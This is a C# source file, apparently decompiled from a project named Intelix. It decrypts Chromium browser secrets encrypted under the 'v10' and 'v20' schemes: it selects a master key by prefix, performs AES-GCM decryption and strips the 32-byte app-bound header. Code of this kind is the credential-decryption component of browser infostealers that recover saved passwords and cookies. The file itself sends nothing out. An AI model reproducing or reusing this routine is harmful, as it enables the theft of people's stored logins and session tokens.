Intellix/Intelix.Helper.Encrypted/AesGcm.cs

using System;
using System.Text;

namespace Intelix.Helper.Encrypted;

public static class AesGcm
{
	private const int MacBitSize = 128;

	private const int NonceBitSize = 96;

	private const int TagBytes = 16;

	private const int NonceBytes = 12;

	private const int HeaderBytes = 3;

	public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix)
	{
		if (encryptedData.Length < 31)
		{
			return null;
		}
		string text = Encoding.ASCII.GetString(encryptedData, 0, 3);
		byte[] array = new byte[12];
		Buffer.BlockCopy(encryptedData, 3, array, 0, 12);
		int num = 15;
		int num2 = encryptedData.Length - num - 16;
		if (num2 < 0)
		{
			return null;
		}
		byte[] array2 = new byte[num2];
		if (num2 > 0)
		{
			Buffer.BlockCopy(encryptedData, num, array2, 0, num2);
		}
		byte[] array3 = new byte[16];
		Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16);
		byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null));
		if (array4 == null)
		{
			return null;
		}
		byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3);
		if (array5 == null)
		{
			return null;
		}
		if (checkprefix && HasPrefix(array5))
		{
			if (array5.Length <= 32)
			{
				return array5;
			}
			int num3 = 0;
			for (int i = 0; i < 32; i++)
			{
				byte b = array5[i];
				if (b >= 32 && b <= 126)
				{
					num3++;
				}
				if (num3 > 2)
				{
					break;
				}
			}
			if (num3 > 2)
			{
				if (array5.Length <= 32)
				{
					return new byte[0];
				}
				byte[] array6 = new byte[array5.Length - 32];
				Array.Copy(array5, 32, array6, 0, array6.Length);
				return array6;
			}
		}
		return array5;
	}

	private static bool HasPrefix(byte[] plainText)
	{
		if (plainText.Length < 32)
		{
			return false;
		}
		int num = 0;
		for (int i = 0; i < 32; i++)
		{
			if (plainText[i] >= 32 && plainText[i] <= 126)
			{
				num++;
			}
		}
		return num > 2;
	}
}